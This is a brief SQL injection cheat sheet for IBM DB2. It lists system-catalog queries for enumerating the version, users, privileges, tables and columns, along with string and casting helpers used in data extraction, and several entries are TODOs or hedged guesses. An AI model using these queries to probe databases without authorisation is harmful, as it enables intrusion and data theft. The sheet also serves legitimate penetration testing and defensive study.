SQL Injection Cheat Sheet (DB2)

Version
select versionnumber, version_timestamp from sysibm.sysversions;
Comments select blah from foo; -- comment like this
Current User 
select user from sysibm.sysdummy1;
select session_user from sysibm.sysdummy1;
select system_user from sysibm.sysdummy1;
List Users

N/A (I think DB2 uses OS-level user accounts for authentication.)

Database authorities (like roles, I think) can be listed like this:
select grantee from syscat.dbauth;

List Password Hashes
N/A (I think DB2 uses OS-level user accounts for authentication.)
List Privilegesselect * from syscat.tabauth; -- privs on tables
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
List DBA AccountsTODO
Current Database select current server from sysibm.sysdummy1;
List DatabasesSELECT schemaname FROM syscat.schemata;
List Columns 
select name, tbname, coltype from sysibm.syscolumns;
List Tablesselect name from sysibm.systables;
Find Tables From Column NameTODO
Select Nth Rowselect name from (SELECT name FROM sysibm.systables order by 
name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;
Select Nth Char 
SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1;  -- returns b
Bitwise AND  
This page seems to indicate that DB2 has no support for bitwise operators!

ASCII Value -> Char

select chr(65) from sysibm.sysdummy1; -- returns 'A'
Char -> ASCII Valueselect ascii('A') from sysibm.sysdummy1; -- returns 65
CastingSELECT cast('123' as integer) FROM sysibm.sysdummy1;
SELECT cast(1 as char) FROM sysibm.sysdummy1;
String ConcatenationSELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1; -- returns 'ab'
